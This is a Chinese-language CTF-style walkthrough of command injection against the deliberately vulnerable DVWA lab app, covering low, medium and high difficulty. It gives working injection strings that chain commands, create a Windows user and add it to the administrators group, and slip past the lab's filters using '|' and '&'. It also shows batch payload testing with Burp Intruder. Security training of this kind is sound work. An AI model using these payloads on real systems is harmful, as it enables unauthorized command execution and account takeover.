N3 DVWA Command Injection(命令注入)
一.基础知识
1.ping命令
ping ip地址 :测试该ip是否在线
ping -n 2 ip地址:Windows系统,发送两次ping包命令。
ping -c 2 ip地址:Linux系统,发送两次ping包命令。
ping 127.0.0.1 :测试本地tcp/ip服务是否正常工作
2.ipconfig命令
ipconfig:Windows系统查看本机ip的命令
ifconfig:Linux系统查看本机ip的命令
3.net user
net user 用户名 密码 /add :Windows系统添加用户命令
net localgroup administrators 用户名 /add:将该用户添加到超级管理员组
4.连接符
ping 127.0.0.1 && ipconfig :如果成功执行第一个命令,则继续执行第二个命令
ping 127.0.0.1 & ipconfig:第一个命令无论执行成功与否,都继续执行第二个命令
ping 127.0.0.1 || ipconfig:第一个命令成功执行,则第二个命令不执行。若第一个命令执行错误,则执行后面命令。
ping 127.0.0.1 | ipconfig:第一个命令无论正确与否,都只执行第二个命令
ping 127.0.0.1 ;ipconfig:Linux系统下的命令,执行第一个和第二个命令。
二、Low级别
1.源码分析
这里我们可以看到,将用户输入的 ip 赋值给$target,直接执行ping $target,中间不做任何过滤处理。
2.手动注入
127.0.0.1 && ipconfig
127.0.0.1 & ipconfig
127.0.0.1 | ipconfig
127.0.0.1 ; ifconfig //DVWA服务器为Linux系统时
分别输入以上命令,可以发现,均可返回ipconfig命令的结果
说明我们可以在这里可以进行命令注入。
那么我们通过这个注入点,为系统创建一个新的用户,并赋予管理员权限。
可以通过以下命令实现
127.0.0.1 && net user test test /add
127.0.0.1&& net localgroup administrators test /add
我们输入第一条命令
输入命令后,打开搭载DVWA的靶机,输入net user查看是否成功创建用户。
发现已经成功为我们创建了账号为test 密码为test 的用户,输入net user test,发现该用户目前在user组中.
我们执行第二条命令,再次查看。
发现已经加入超级管理员组,拥有了超级管理员权限。这样一次手工命令注入就完成了。
实验做完后,记得输入net user test /del命令,将刚刚创建的test用户删除哦。
3.批量注入
我们将命令放入一个txt文件,做出一个命令字典。
打开Burpsuite,将火狐浏览器设置为代理模式。
输入127.0.0.1,submit。打开Burpsuite,将数据包传到Intruder模块,使用sniper模式跑字典。
因为Windows系统默认ping 4次,所以速度比较慢。
也可以使用 -n 1 127.0.0.1 && ipconfig,将ping包设置为1次,可以加快速度。
我们可以看到,命令已经成功执行。我们进入DVWA的靶机,查看一下是否已经成功创建test用户。
发现已经成功创建。
通过bp批量注入也完成了。
三、Meduim级别
1.源码分析
2.命令注入
我们发现这个只对&&和;进行了过滤
那么,我们不使用&&和;命令,使用&、|、||依旧可以绕过。
同理,字典更换为
127.0.0.1 & ipconfig
127.0.0.1 || ipconfig
127.0.0.1 | ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
依旧可以进行注入
这样meduim级别的命令注入就成功完成了!
四、high级别
1.源码分析
我们发现,基本上所有的关键字都被过滤了,但在|的地方,由于失误,多加了一个空格,导致我们输入|不加空格,是可以绕开的。
那么下面我们尝试一下。发现127.0.0.1|ipconfig (|后不加空格)是可以绕过过滤的。
于是,我们可以构建字典
127.0.0.1|ipconfig
127.0.0.1|net user test test /add
127.0.0.1|net localgroup administrators test /add
发现命令执行成功
这样,high级别的命令注入就完成了,大家动手试一试吧!
做完实验,一定记得删除自己创建的用户哦!